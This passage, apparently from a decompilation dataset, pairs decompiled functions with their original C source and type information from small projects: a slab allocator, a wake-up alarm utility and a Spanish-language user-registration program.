original_code:
void *kmem_cache_alloc(kmem_cache_t cache, int flag){
 if(0)printf("===>Allocating cache: ");
 km_slab_list type;
 kmem_slab_t slab;
 kmem_bufctrl_t bufctrl;
 if( cache->slab_used_count != 0 && cache->slab_used->buf_free_count !=0){
  if(0)printf("One used found");
  type = KM_USED_LIST;
  slab = cache->slab_used;
 }else if(cache->slab_free_count != 0){
  if(0)printf("One free found");
  type = KM_FREE_LIST;
  slab = cache->slab_free;
 }
 else{
  if(0)printf("No more free slabs.....");
  __kmem_cache_grow(cache, cache->size, flag);
  type = KM_FREE_LIST;
  slab = cache->slab_free;
 }
 bufctrl = __kmem_pull_buffer(&slab, cache->size);
 if(0)printf("\n");
 if(type == KM_FREE_LIST){
  __remove_from_slab_list(&cache,KM_FREE_LIST);
  if(slab->buf_free_count == 0){
   __insert_into_slab_list(&cache, &slab, KM_FULL_LIST);
  }else{
   __insert_into_slab_list(&cache, &slab, KM_USED_LIST);
  }
 }
 else if(type== KM_USED_LIST && slab){
  if(slab->buf_free_count == 0){
   __remove_from_slab_list(&cache,KM_USED_LIST);
   __insert_into_slab_list(&cache, &slab, KM_FULL_LIST);
  }
 }
 void *buffer = bufctrl;
 cache->constructor(buffer,cache->size);
 return buffer;
}

canonical_original_code:
void *kmem_cache_alloc(struct kmem_cache *cache, int flag){
 if(0)printf("===>Allocating cache: ");
 enum km_slab_list type;
 struct kmem_slab *slab;
 struct kmem_bufctl *bufctrl;
 if( cache->slab_used_count != 0 && cache->slab_used->buf_free_count !=0){
  if(0)printf("One used found");
  type = KM_USED_LIST;
  slab = cache->slab_used;
 }else if(cache->slab_free_count != 0){
  if(0)printf("One free found");
  type = KM_FREE_LIST;
  slab = cache->slab_free;
 }
 else{
  if(0)printf("No more free slabs.....");
  __kmem_cache_grow(cache, cache->size, flag);
  type = KM_FREE_LIST;
  slab = cache->slab_free;
 }
 bufctrl = __kmem_pull_buffer(&slab, cache->size);
 if(0)printf("\n");
 if(type == KM_FREE_LIST){
  __remove_from_slab_list(&cache,KM_FREE_LIST);
  if(slab->buf_free_count == 0){
   __insert_into_slab_list(&cache, &slab, KM_FULL_LIST);
  }else{
   __insert_into_slab_list(&cache, &slab, KM_USED_LIST);
  }
 }
 else if(type== KM_USED_LIST && slab){
  if(slab->buf_free_count == 0){
   __remove_from_slab_list(&cache,KM_USED_LIST);
   __insert_into_slab_list(&cache, &slab, KM_FULL_LIST);
  }
 }
 void *buffer = bufctrl;
 cache->constructor(buffer,cache->size);
 return buffer;
}

variable_types: flag int

variable_types: enum km_slab_list { KM_FREE_LIST=0, KM_USED_LIST=1, KM_FULL_LIST=2 }

variable_types: struct kmem_bufctl { void *buffer; struct kmem_bufctl *next_free; struct kmem_slab { int buf_free_count; int buf_used_count; void *buffer; struct kmem_slab *next; struct kmem_slab *previous; struct kmem_bufctl *buf_free; } *slab; } *

variable_types:
buffer
void *


repo: Neymello/slabAllocator

decompiled_code:
__int64 __fastcall kmem_cache_free(__int64 a1, __int64 a2)
{
__int64 result; // rax
__int64 v3; // [rsp+8h] [rbp-20h] BYREF
__int64 v4; // [rsp+10h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+18h] [rbp-10h] BYREF

v3 = a1;
v5[0] = a2;
(*(void (__fastcall **)(__int64, _QWORD))(a1 + 24))(a2, *(unsigned int *)(a1 + 8));
if ( *(_DWORD *)(a1 + 60) )
{
v4 = *(_QWORD *)(v3 + 40);
_kmem_push_buffer((_DWORD **)(v3 + 40), v5, *(_DWORD *)(v3 + 8));
result = *(_QWORD *)(v3 + 40);
if ( !*(_DWORD *)(result + 4) )
{
_remove_from_slab_list(&v3, 1);
result = _insert_into_slab_list(&v3, &v4, 0);
}
}
else
{
v4 = *(_QWORD *)(v3 + 48);
_kmem_push_buffer((_DWORD **)(v3 + 48), v5, *(_DWORD *)(v3 + 8));
if ( *(_DWORD *)(*(_QWORD *)(v3 + 48) + 4LL) )
{
_remove_from_slab_list(&v3, 2);
result = _insert_into_slab_list(&v3, &v4, 1);
}
else
{
_remove_from_slab_list(&v3, 2);
result = _insert_into_slab_list(&v3, &v4, 0);
}
}
return result;
}

original_code:
void kmem_cache_free(kmem_cache_t cache, void *buf){
 kmem_bufctrl_t bufctrl = buf;
 kmem_slab_t slab;
 cache->destructor(buf, cache->size);
 if(cache->slab_used_count != 0){
  slab = cache->slab_used;
  __kmem_push_buffer(&cache->slab_used, &bufctrl, cache->size);
  if(cache->slab_used->buf_used_count == 0){
   __remove_from_slab_list(&cache, KM_USED_LIST);
   __insert_into_slab_list(&cache,&slab, KM_FREE_LIST);
  }
 }else{
  slab = cache->slab_full;
  __kmem_push_buffer(&cache->slab_full, &bufctrl, cache->size);
  if(cache->slab_full->buf_used_count == 0){
   __remove_from_slab_list(&cache, KM_FULL_LIST);
   __insert_into_slab_list(&cache,&slab, KM_FREE_LIST);
  }else{
   __remove_from_slab_list(&cache, KM_FULL_LIST);
   __insert_into_slab_list(&cache,&slab, KM_USED_LIST);
  }
 }
}

canonical_original_code:
void kmem_cache_free(struct kmem_cache *cache, void *buf){
 struct kmem_bufctl *bufctrl = buf;
 struct kmem_slab *slab;
 cache->destructor(buf, cache->size);
 if(cache->slab_used_count != 0){
  slab = cache->slab_used;
  __kmem_push_buffer(&cache->slab_used, &bufctrl, cache->size);
  if(cache->slab_used->buf_used_count == 0){
   __remove_from_slab_list(&cache, KM_USED_LIST);
   __insert_into_slab_list(&cache,&slab, KM_FREE_LIST);
  }
 }else{
  slab = cache->slab_full;
  __kmem_push_buffer(&cache->slab_full, &bufctrl, cache->size);
  if(cache->slab_full->buf_used_count == 0){
   __remove_from_slab_list(&cache, KM_FULL_LIST);
   __insert_into_slab_list(&cache,&slab, KM_FREE_LIST);
  }else{
   __remove_from_slab_list(&cache, KM_FULL_LIST);
   __insert_into_slab_list(&cache,&slab, KM_USED_LIST);
  }
 }
}

variable_types: struct kmem_cache { char *name; int size; int align; void (*constructor)(void *, int); void (*destructor)(void *, int); struct kmem_slab { int buf_free_count; int buf_used_count; void *buffer; struct kmem_slab *next; struct kmem_slab *previous; struct kmem_bufctl { void *buffer; struct kmem_bufctl *next_free; struct kmem_slab *slab; } *buf_free; } *slab_free; struct kmem_slab *slab_used; struct kmem_slab *slab_full; int slab_free_count; int slab_used_count; int slab_full_count; } *

variable_types:
buf
void *

return_type: void

user_defined_types: struct kmem_cache { char *name; int size; int align; void (*constructor)(void *, int); void (*destructor)(void *, int); struct kmem_slab *slab_free; struct kmem_slab *slab_used; struct kmem_slab *slab_full; int slab_free_count; int slab_used_count; int slab_full_count; }

user_defined_types: struct kmem_slab { int buf_free_count; int buf_used_count; void *buffer; struct kmem_slab *next; struct kmem_slab *previous; struct kmem_bufctl *buf_free; }


decompiled_code:
void __fastcall free_log_line(void *ptr)
{
void **v1; // rbx
void **v2; // rbp

v1 = (void **)ptr;
if ( ptr )
{
do
{
v2 = v1;
v1 = (void **)v1[4];
free(v2[1]);
free(v2[2]);
free(v2);
}
while ( v1 );
}
}

canonical_decompiled_code:
void __fastcall func0(void *ptr)
{
void **v1; // rbx
void **v2; // rbp

v1 = (void **)ptr;
if ( ptr )
{
do
{
v2 = v1;
v1 = (void **)v1[4];
free(v2[1]);
free(v2[2]);
free(v2);
}
while ( v1 );
}
}

original_code:
void free_log_line(struct logline *last_line) {
 struct logline *temp = ((void *)0);
 while(last_line != ((void *)0)) {
  temp = last_line->next;
  free(last_line->counter);
  free(last_line->thread);
  free(last_line);
  last_line = temp;
 }
}

variable_types: struct logline { int run; int uptime; char *counter; char *thread; long long packet_count; struct logline *next; } *


decompiled_code:
time_t __fastcall get_timestamp(int a1, int a2, int a3, int a4, int a5, int a6)
{
struct tm v7; // [rsp+0h] [rbp-48h] BYREF

v7.tm_sec = a6;
v7.tm_min = a5;
v7.tm_hour = a4;
v7.tm_mday = a2;
v7.tm_mon = a1 - 1;
v7.tm_year = a3 - 1900;
return mktime(&v7);
}

canonical_decompiled_code:
time_t __fastcall func0(int a1, int a2, int a3, int a4, int a5, int a6)
{
struct tm v7; // [rsp+0h] [rbp-48h] BYREF

v7.tm_sec = a6;
v7.tm_min = a5;
v7.tm_hour = a4;
v7.tm_mday = a2;
v7.tm_mon = a1 - 1;
v7.tm_year = a3 - 1900;
return mktime(&v7);
}

original_code:
time_t get_timestamp(int month, int day, int year, int hour, int min, int sec) {
 struct tm date;
 date.tm_sec = sec;
 date.tm_min = min;
 date.tm_hour = hour;
 date.tm_mday = day;
 date.tm_mon = month-1;
 date.tm_year = year - 1900;
   return mktime(&date);
}

canonical_original_code:
long get_timestamp(int month, int day, int year, int hour, int min, int sec) {
 struct tm date;
 date.tm_sec = sec;
 date.tm_min = min;
 date.tm_hour = hour;
 date.tm_mday = day;
 date.tm_mon = month-1;
 date.tm_year = year - 1900;
   return mktime(&date);
}

variable_types: month int

variable_types: day int

variable_types: year int

variable_types: hour int

variable_types: min int

variable_types: sec int

variable_types: struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; long tm_gmtoff; char *tm_zone; }

return_type: long


repo: Nicals/wakemeup

decompiled_code:
void __fastcall termination_handler(int a1)
{
if ( a1 == 2 )
{
free(pid_filepath);
exit(0);
}
}

canonical_decompiled_code:
void __fastcall func7(int a1)
{
if ( a1 == 2 )
{
free(pid_filepath);
exit(0);
}
}

original_code:
void termination_handler(int sig_num) {
  if (sig_num == 2) {
    free(pid_filepath);
    exit(0);
  }
}


challenge

decompiled_code:
__int64 challenge()
{
unsigned int v0; // eax
unsigned int v1; // ebp
unsigned int v2; // ebx
char v4[88]; // [rsp+0h] [rbp-58h] BYREF

v0 = time(0LL);
srand(v0);
v1 = rand() % 9000 + 1000;
v2 = rand() % 9000 + 1000;
do
{
fprintf(_bss_start, "%u + %u ?\n", v1, v2);
fgets(v4, 49, stdin);
}
while ( atoi(v4) != v1 + v2 );
return 0LL;
}

canonical_decompiled_code:
__int64 func8()
{
unsigned int v0; // eax
unsigned int v1; // ebp
unsigned int v2; // ebx
char v4[88]; // [rsp+0h] [rbp-58h] BYREF

v0 = time(0LL);
srand(v0);
v1 = rand() % 9000 + 1000;
v2 = rand() % 9000 + 1000;
do
{
fprintf(_bss_start, "%u + %u ?\n", v1, v2);
fgets(v4, 49, stdin);
}
while ( atoi(v4) != v1 + v2 );
return 0LL;
}

original_code:
int challenge() {
  unsigned int seed = (unsigned int)(time(((void *)0)));
  unsigned int a, b, result;
  char user_input[49];
  srand(seed);
  a = ((rand() % (9999 - 1000 + 1)) + 1000);
  b = ((rand() % (9999 - 1000 + 1)) + 1000);
  result = a + b;
  do {
    fprintf(stdout, "%u + %u ?\n", a, b);
    fgets(user_input, 49, stdin);
  } while (atoi(user_input) != result);
  return atoi(user_input) == result ? 0 : -1;
}

canonical_original_code:
int challenge() {
  unsigned int seed = (unsigned int)(time(((void *)0)));
  unsigned int a; unsigned int b; unsigned int result;
  char user_input[49];
  srand(seed);
  a = ((rand() % (9999 - 1000 + 1)) + 1000);
  b = ((rand() % (9999 - 1000 + 1)) + 1000);
  result = a + b;
  do {
    fprintf(stdout, "%u + %u ?\n", a, b);
    fgets(user_input, 49, stdin);
  } while (atoi(user_input) != result);
  return atoi(user_input) == result ? 0 : -1;
}

variable_types:
seed
unsigned int

variable_types:
a
unsigned int

variable_types:
b
unsigned int

variable_types:
result
unsigned int

return_type: int


decompiled_code:
int __fastcall stop_alarm(unsigned int a1)
{
if ( kill(a1, 15) )
fprintf(_bss_start, "INFO: Cannot kill process [%u]\n", a1);
else
fprintf(_bss_start, "INFO: Process [%u] killed.\n", a1);
return unlink(pid_filepath);
}

canonical_decompiled_code:
int __fastcall func10(unsigned int a1)
{
if ( kill(a1, 15) )
fprintf(_bss_start, "INFO: Cannot kill process [%u]\n", a1);
else
fprintf(_bss_start, "INFO: Process [%u] killed.\n", a1);
return unlink(pid_filepath);
}

original_code:
void stop_alarm(pid_t beep_pid) {
  if (kill(beep_pid, 15) == 0) {
    fprintf(stdout, "INFO: Process [%u] killed.\n", beep_pid);
  }
  else {
    fprintf(stdout, "INFO: Cannot kill process [%u]\n", beep_pid);
  }
  unlink(pid_filepath);
}

canonical_original_code:
void stop_alarm(int beep_pid) {
  if (kill(beep_pid, 15) == 0) {
    fprintf(stdout, "INFO: Process [%u] killed.\n", beep_pid);
  }
  else {
    fprintf(stdout, "INFO: Cannot kill process [%u]\n", beep_pid);
  }
  unlink(pid_filepath);
}


usage

decompiled_code:
int __fastcall usage(const char *a1)
{
return printf(
"\n"
"Usage: %s [-r] [-c] [-h] [-v]\n"
"\n"
"Launch an alarm on your computer to wake up early on the morning.\n"
"\n"
"optional arguments:\n"
"\t -c --challenge switch challenge off. Only with god mod enabled ad compile time\n"
"\t -r --robot don't launch the challenge, don't stop the current alarm\n"
"\t -h --help print this help\n"
"\t -v --version get version and compile option\n"
"\n",
a1);
}

canonical_decompiled_code:
int __fastcall func11(const char *a1)
{
return printf(
"\n"
"Usage: %s [-r] [-c] [-h] [-v]\n"
"\n"
"Launch an alarm on your computer to wake up early on the morning.\n"
"\n"
"optional arguments:\n"
"\t -c --challenge switch challenge off. Only with god mod enabled ad compile time\n"
"\t -r --robot don't launch the challenge, don't stop the current alarm\n"
"\t -h --help print this help\n"
"\t -v --version get version and compile option\n"
"\n",
a1);
}

original_code:
void usage(const char* prg_name) {
  printf("\nUsage: %s [-r] [-c] [-h] [-v]"
      "\n\n"
      "Launch an alarm on your computer to wake up early on the morning.\n\n"
      "optional arguments:\n"
      "\t   -c   --challenge   switch challenge off. Only with god mod enabled ad compile time\n"
      "\t   -r   --robot       don't launch the challenge, don't stop the current alarm\n"
      "\t   -h   --help        print this help\n"
      "\t   -v   --version     get version and compile option\n"
      "\n"
      ,
      prg_name);
}

canonical_original_code:
void usage(char *prg_name) {
  printf("\nUsage: %s [-r] [-c] [-h] [-v]"
      "\n\n"
      "Launch an alarm on your computer to wake up early on the morning.\n\n"
      "optional arguments:\n"
      "\t   -c   --challenge   switch challenge off. Only with god mod enabled ad compile time\n"
      "\t   -r   --robot       don't launch the challenge, don't stop the current alarm\n"
      "\t   -h   --help        print this help\n"
      "\t   -v   --version     get version and compile option\n"
      "\n"
      ,
      prg_name);
}


decompiled_code:
int __fastcall read_param(int argc, char **argv, __int64 a3)
{
int result; // eax
struct option v5; // [rsp+0h] [rbp-B8h] BYREF
const char *v6; // [rsp+20h] [rbp-98h]
int v7; // [rsp+28h] [rbp-90h]
__int64 v8; // [rsp+30h] [rbp-88h]
int v9; // [rsp+38h] [rbp-80h]
const char *v10; // [rsp+40h] [rbp-78h]
int v11; // [rsp+48h] [rbp-70h]
__int64 v12; // [rsp+50h] [rbp-68h]
int v13; // [rsp+58h] [rbp-60h]
const char *v14; // [rsp+60h] [rbp-58h]
int v15; // [rsp+68h] [rbp-50h]
__int64 v16; // [rsp+70h] [rbp-48h]
int v17; // [rsp+78h] [rbp-40h]
__int64 v18; // [rsp+80h] [rbp-38h]
int v19; // [rsp+88h] [rbp-30h]
__int64 v20; // [rsp+90h] [rbp-28h]
int v21; // [rsp+98h] [rbp-20h]

v5.name = "robot";
v5.has_arg = 0;
v5.flag = 0LL;
v5.val = 114;
v6 = "challenge";
v7 = 0;
v8 = 0LL;
v9 = 99;
v10 = "help";
v11 = 0;
v12 = 0LL;
v13 = 104;
v14 = "version";
v15 = 0;
v16 = 0LL;
v17 = 118;
v18 = 0LL;
v19 = 0;
v20 = 0LL;
v21 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
result = getopt_long(argc, argv, "chrv", &v5, 0LL);
if ( result != 114 )
break;
*(_DWORD *)(a3 + 4) = 0;
}
if ( result <= 114 )
break;
if ( result == 118 )
{
puts("wakemeup 1.0");
printf("god mod: %s\n", "disabled");
exit(0);
}
}
if ( result == 63 )
{
fprintf(stderr, "Unknown option -%c\nUse %s for more informations.\n\n", 63LL, *argv);
exit(1);
}
if ( result == 104 )
{
usage(*argv);
exit(0);
}
}
while ( result != -1 );
return result;
}

canonical_decompiled_code:
int __fastcall func12(int argc, char **argv, __int64 a3)
{
int result; // eax
struct option v5; // [rsp+0h] [rbp-B8h] BYREF
const char *v6; // [rsp+20h] [rbp-98h]
int v7; // [rsp+28h] [rbp-90h]
__int64 v8; // [rsp+30h] [rbp-88h]
int v9; // [rsp+38h] [rbp-80h]
const char *v10; // [rsp+40h] [rbp-78h]
int v11; // [rsp+48h] [rbp-70h]
__int64 v12; // [rsp+50h] [rbp-68h]
int v13; // [rsp+58h] [rbp-60h]
const char *v14; // [rsp+60h] [rbp-58h]
int v15; // [rsp+68h] [rbp-50h]
__int64 v16; // [rsp+70h] [rbp-48h]
int v17; // [rsp+78h] [rbp-40h]
__int64 v18; // [rsp+80h] [rbp-38h]
int v19; // [rsp+88h] [rbp-30h]
__int64 v20; // [rsp+90h] [rbp-28h]
int v21; // [rsp+98h] [rbp-20h]

v5.name = "robot";
v5.has_arg = 0;
v5.flag = 0LL;
v5.val = 114;
v6 = "challenge";
v7 = 0;
v8 = 0LL;
v9 = 99;
v10 = "help";
v11 = 0;
v12 = 0LL;
v13 = 104;
v14 = "version";
v15 = 0;
v16 = 0LL;
v17 = 118;
v18 = 0LL;
v19 = 0;
v20 = 0LL;
v21 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
result = getopt_long(argc, argv, "chrv", &v5, 0LL);
if ( result != 114 )
break;
*(_DWORD *)(a3 + 4) = 0;
}
if ( result <= 114 )
break;
if ( result == 118 )
{
puts("wakemeup 1.0");
printf("god mod: %s\n", "disabled");
exit(0);
}
}
if ( result == 63 )
{
fprintf(stderr, "Unknown option -%c\nUse %s for more informations.\n\n", 63LL, *argv);
exit(1);
}
if ( result == 104 )
{
func11(*argv);
exit(0);
}
}
while ( result != -1 );
return result;
}

original_code:
void read_param(int argc, char* argv[], struct _params* params) {
  int next_option;
  const char* const short_options = "chrv";
  const struct option long_options[] = {
    {"robot", 0, ((void *)0), 'r'},
    {"challenge", 0, ((void *)0), 'c'},
    {"help", 0, ((void *)0), 'h'},
    {"version", 0, ((void *)0), 'v'},
    {0, 0, 0, 0}
  };
  do {
    next_option = getopt_long(argc, argv, short_options, long_options, ((void *)0));
    switch (next_option) {
      case 'c':
        break;
      case 'r':
        params->im_a_robot = ENABLED;
        break;
      case 'h':
        usage(argv[0]);
        exit(0);
        break;
      case 'v':
        printf("%s\n", "wakemeup 1.0");
        printf("god mod: %s\n",
            "disabled"
        );
        exit(0);
        break;
      case '?':
        fprintf(stderr, "Unknown option -%c\nUse %s for more informations.\n\n", next_option, argv[0]);
        exit(1);
        break;
      default:
        break;
    }
  } while (next_option != -1);
}

canonical_original_code:
void read_param(int argc, char *argv[], struct _params *params) {
  int next_option;
  char *short_options = "chrv";
  struct option long_options[] = {
    {"robot", 0, ((void *)0), 'r'},
    {"challenge", 0, ((void *)0), 'c'},
    {"help", 0, ((void *)0), 'h'},
    {"version", 0, ((void *)0), 'v'},
    {0, 0, 0, 0}
  };
  do {
    next_option = getopt_long(argc, argv, short_options, long_options, ((void *)0));
    switch (next_option) {
      case 'c':
        break;
      case 'r':
        params->im_a_robot = ENABLED;
        break;
      case 'h':
        usage(argv[0]);
        exit(0);
        break;
      case 'v':
        printf("%s\n", "wakemeup 1.0");
        printf("god mod: %s\n",
            "disabled"
        );
        exit(0);
        break;
      case '?':
        fprintf(stderr, "Unknown option -%c\nUse %s for more informations.\n\n", next_option, argv[0]);
        exit(1);
        break;
      default:
        break;
    }
  } while (next_option != -1);
}

variable_types: argc int

variable_types:
argv
char *[]

variable_types: struct _params { enum _switch { ENABLED=0, DISABLED=1 } skip_challenge; enum _switch { ENABLED=0, DISABLED=1 } im_a_robot; } *

variable_types: struct option { char *name; int has_arg; int *flag; int val; } []

user_defined_types: struct _params { enum _switch skip_challenge; enum _switch im_a_robot; }


decompiled_code:
__int64 get_dni()
{
unsigned int i; // ebx
char v1; // al

for ( i = 0; ; i = v1 + 10 * i - 48 )
{
v1 = getchar();
if ( v1 == 10 )
break;
if ( (unsigned int)(v1 - 48) > 9 )
{
while ( getchar() != 10 )
;
return 0;
}
}
return i;
}

canonical_decompiled_code:
__int64 func0()
{
unsigned int i; // ebx
char v1; // al

for ( i = 0; ; i = v1 + 10 * i - 48 )
{
v1 = getchar();
if ( v1 == 10 )
break;
if ( (unsigned int)(v1 - 48) > 9 )
{
while ( getchar() != 10 )
;
return 0;
}
}
return i;
}

original_code:
unsigned int get_dni(){
 unsigned int dni = 0;
 char c;
 while((c = getchar()) != '\n'){
  switch(c){
   case '0':
   case '1':
   case '2':
   case '3':
   case '4':
   case '5':
   case '6':
   case '7':
   case '8':
   case '9':
    dni = dni * 10 + c - '0';
    break;
   default:
    while( getchar() != '\n'){}
    return 0;
  }
 }
 return dni;
}

variable_types:
dni
unsigned int

variable_types: c char

return_type: unsigned int


decompiled_code:
int __fastcall read_str(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v2; // rbx
int result; // eax

*(_BYTE *)(a1 + a2) = 0;
v2 = 0LL;
while ( 1 )
{
result = getchar();
if ( (_BYTE)result == 10 )
break;
if ( a2 > v2 )
{
*(_BYTE *)(a1 + v2) = result;
*(_BYTE *)(a1 + v2++ + 1) = 0;
}
}
return result;
}

canonical_decompiled_code:
int __fastcall func1(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v2; // rbx
int result; // eax

*(_BYTE *)(a1 + a2) = 0;
v2 = 0LL;
while ( 1 )
{
result = getchar();
if ( (_BYTE)result == 10 )
break;
if ( a2 > v2 )
{
*(_BYTE *)(a1 + v2) = result;
*(_BYTE *)(a1 + v2++ + 1) = 0;
}
}
return result;
}

original_code:
void read_str(char *str, size_t max_len){
 char c;
 int i = 0;
 str[max_len] = 0;
 while((c = getchar()) != '\n'){
  if(i >= max_len)
   continue;
  str[i++] = c;
  str[i] = 0;
 }
}

canonical_original_code:
void read_str(char *str, unsigned long max_len){
 char c;
 int i = 0;
 str[max_len] = 0;
 while((c = getchar()) != '\n'){
  if(i >= max_len)
   continue;
  str[i++] = c;
  str[i] = 0;
 }
}

variable_types:
str
char *

variable_types: i int


decompiled_code:
__int64 read_opt()
{
unsigned int v0; // ebx

v0 = getchar();
if ( (_BYTE)v0 != 10 )
{
while ( getchar() != 10 )
;
}
return v0;
}

canonical_decompiled_code:
__int64 func2()
{
unsigned int v0; // ebx

v0 = getchar();
if ( (_BYTE)v0 != 10 )
{
while ( getchar() != 10 )
;
}
return v0;
}

original_code:
char read_opt(){
 char c = getchar();
 if(c != '\n'){
  while( getchar() != '\n');
 }
 return c;
}

return_type: char


decompiled_code:
__int64 __fastcall sort_helper_cmp(__int64 a1, _QWORD *a2)
{
return (unsigned int)-(*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))(a1 + 16))(
*(_QWORD *)a1,
*(_QWORD *)(a1 + 8),
*a2,
a2[1]);
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, _QWORD *a2)
{
return (unsigned int)-(*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))(a1 + 16))(
*(_QWORD *)a1,
*(_QWORD *)(a1 + 8),
*a2,
a2[1]);
}

original_code:
int sort_helper_cmp(void *hlp1, void* hlp2){
 TSortHelper *h1 = hlp1, *h2 = hlp2;
 return -1 * (h1->cmp((void*) h1->buf, h1->size, (void*) h2->buf, h2->size));
}

canonical_original_code:
int sort_helper_cmp(void *hlp1, void *hlp2){
 struct TSortHelper *h1 = hlp1; struct TSortHelper *h2 = hlp2;
 return -1 * (h1->cmp((void *) h1->buf, h1->size, (void *) h2->buf, h2->size));
}

variable_types: struct TSortHelper { unsigned char *buf; unsigned long size; int (*cmp)(void *, unsigned long, void *, unsigned long); } *


decompiled_code:
int __fastcall sort_externo(__int64 a1, __int64 a2, char *a3, int (__fastcall *a4)(_QWORD, _QWORD, _QWORD, _QWORD))
{
int v6; // eax
__int64 v8[2]; // [rsp+0h] [rbp-118h] BYREF
char v9[232]; // [rsp+10h] [rbp-108h] BYREF
int v10; // [rsp+F8h] [rbp-20h]
__int16 v11; // [rsp+FCh] [rbp-1Ch]
char v12; // [rsp+FEh] [rbp-1Ah]

if ( a3 == 0LL || a2 == 0 || !a1 )
return 1;
v6 = replacememt_selection(a2, "sort_externo.tmp.%d.dat", a1, 0x32uLL, a4);
if ( v6 )
return merge_externo(a3, "sort_externo.tmp.%d.dat", a1, 0x32uLL, 0LL, v6, (__int64)a4);
v8[0] = 0LL;
v8[1] = 0LL;
memset(v9, 0, sizeof(v9));
v10 = 0;
v11 = 0;
v12 = 0;
sprintf((char *)v8, "sort_externo.tmp.%d.dat", 0LL);
return rename((const char *)v8, a3);
}

canonical_decompiled_code:
int __fastcall func4(__int64 a1, __int64 a2, char *a3, int (__fastcall *a4)(_QWORD, _QWORD, _QWORD, _QWORD))
{
int v6; // eax
__int64 v8[2]; // [rsp+0h] [rbp-118h] BYREF
char v9[232]; // [rsp+10h] [rbp-108h] BYREF
int v10; // [rsp+F8h] [rbp-20h]
__int16 v11; // [rsp+FCh] [rbp-1Ch]
char v12; // [rsp+FEh] [rbp-1Ah]

if ( a3 == 0LL || a2 == 0 || !a1 )
return 1;
v6 = func2(a2, "sort_externo.tmp.%d.dat", a1, 0x32uLL, a4);
if ( v6 )
return func3(a3, "sort_externo.tmp.%d.dat", a1, 0x32uLL, 0LL, v6, (__int64)a4);
v8[0] = 0LL;
v8[1] = 0LL;
memset(v9, 0, sizeof(v9));
v10 = 0;
v11 = 0;
v12 = 0;
sprintf((char *)v8, "sort_externo.tmp.%d.dat", 0LL);
return rename((const char *)v8, a3);
}

original_code:
int sort_externo(size_t size, char* in_file, char* out_file, TSortExternFunction cmp){
 int pasada =0;
 if(!size || !in_file || !out_file)
  return 1;
 if( ! (pasada = replacememt_selection(in_file, "sort_externo.tmp.%d.dat", size, (50), cmp)) ){
  char path[255] = {0};
  sprintf(path, "sort_externo.tmp.%d.dat", pasada);
  return rename(path, out_file);
 }
 return merge_externo(out_file, "sort_externo.tmp.%d.dat", size, (50), 0, pasada, cmp);
}

canonical_original_code:
int sort_externo(unsigned long size, char *in_file, char *out_file, int (*cmp)(void *, unsigned long, void *, unsigned long)){
 int pasada = 0;
 if(!size || !in_file || !out_file)
  return 1;
 if( ! (pasada = replacememt_selection(in_file, "sort_externo.tmp.%d.dat", size, (50), cmp)) ){
  char path[255] = {0};
  sprintf(path, "sort_externo.tmp.%d.dat", pasada);
  return rename(path, out_file);
 }
 return merge_externo(out_file, "sort_externo.tmp.%d.dat", size, (50), 0, pasada, cmp);
}

variable_types:
size
unsigned long

variable_types: int (*)(void *, unsigned long, void *, unsigned long)

variable_types: pasada int

variable_types:
path
char [255]


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // ebp
int v4; // eax
int v5; // er13
__int64 v6; // r12
__int64 v7; // rbx
int v8; // ebx
__int64 v9; // r12
__int64 v11; // rdi
char v12[112]; // [rsp+0h] [rbp-588h] BYREF
__int64 v13[4]; // [rsp+70h] [rbp-518h] BYREF
char v14; // [rsp+90h] [rbp-4F8h]
__int64 v15[4]; // [rsp+A0h] [rbp-4E8h] BYREF
char v16; // [rsp+C0h] [rbp-4C8h]
__int64 v17; // [rsp+C8h] [rbp-4C0h]
__int64 v18[4]; // [rsp+D0h] [rbp-4B8h] BYREF
char v19; // [rsp+F0h] [rbp-498h] BYREF
char v20; // [rsp+220h] [rbp-368h] BYREF
char v21; // [rsp+350h] [rbp-238h] BYREF
char v22[112]; // [rsp+480h] [rbp-108h] BYREF
char v23[152]; // [rsp+4F0h] [rbp-98h] BYREF

Usuarios_init(argc, argv, envp);
v18[0] = (__int64)&v21;
v18[1] = (__int64)&v20;
v18[2] = (__int64)&v19;
v15[0] = 0LL;
v15[1] = 0LL;
v15[2] = 0LL;
v15[3] = 0LL;
v16 = 0;
v13[0] = 0LL;
v13[1] = 0LL;
v13[2] = 0LL;
v13[3] = 0LL;
v14 = 0;
puts("Crear administrador del sistema");
puts("Ingrese dni:");
while ( 1 )
{
v3 = get_dni();
if ( v3 )
break;
puts("Dni invalido");
puts("Ingrese dni:");
}
puts("Ingrese nombre:");
read_str(v23, 100LL);
puts("Ingrese apellido:");
read_str(v22, 100LL);
puts("Ingrese cantidad de mails:");
v4 = get_dni();
v5 = v4;
if ( v4 > 0 )
{
v6 = (unsigned int)(v4 + 1);
v7 = 1LL;
do
{
printf("Ingrese mail n %d:\n", (unsigned int)v7);
read_str(*(&v17 + v7++), 300LL);
}
while ( v7 != v6 );
}
do
{
puts("Ingrese contrase~na: (9 caracteres, mayusculas, numeros, _,.?-)");
read_str(v15, 32LL);
v8 = validar_clave(v15);
}
while ( v8 );
puts("Ingrese provincia:");
read_str(v12, 100LL);
puts("Se creara usuario:");
printf("\t* Dni: '%d'\n", v3);
printf("\t* Nombre: '%s'\n", v23);
printf("\t* Apellido: '%s'\n", v22);
printf("\t* Cantidad de mails: '%d'\n", (unsigned int)v5);
if ( v5 > 0 )
{
v9 = 1LL;
do
{
printf("\t* Mail %d: '%s'\n", (unsigned int)v9, (const char *)*(&v17 + v9));
++v9;
}
while ( v9 != v5 + 1 );
}
normalizar(v15, v13);
printf("\t* Contrase~na: '%s'\n", (const char *)v13);
printf("\t* Provincia: '%s'\n", v12);
puts("Esta seguro?(s/n)");
if ( (unsigned __int8)read_opt() == 115 )
{
v11 = Usuario_new(v3, v23, v22, (unsigned int)v5, v18, v15, v12, 115LL);
if ( v11 )
{
Usuario_free(v11);
puts("Usuario creado Satisfactoriamente");
Usuarios_end();
}
else
{
puts("Error");
v8 = 1;
}
}
else
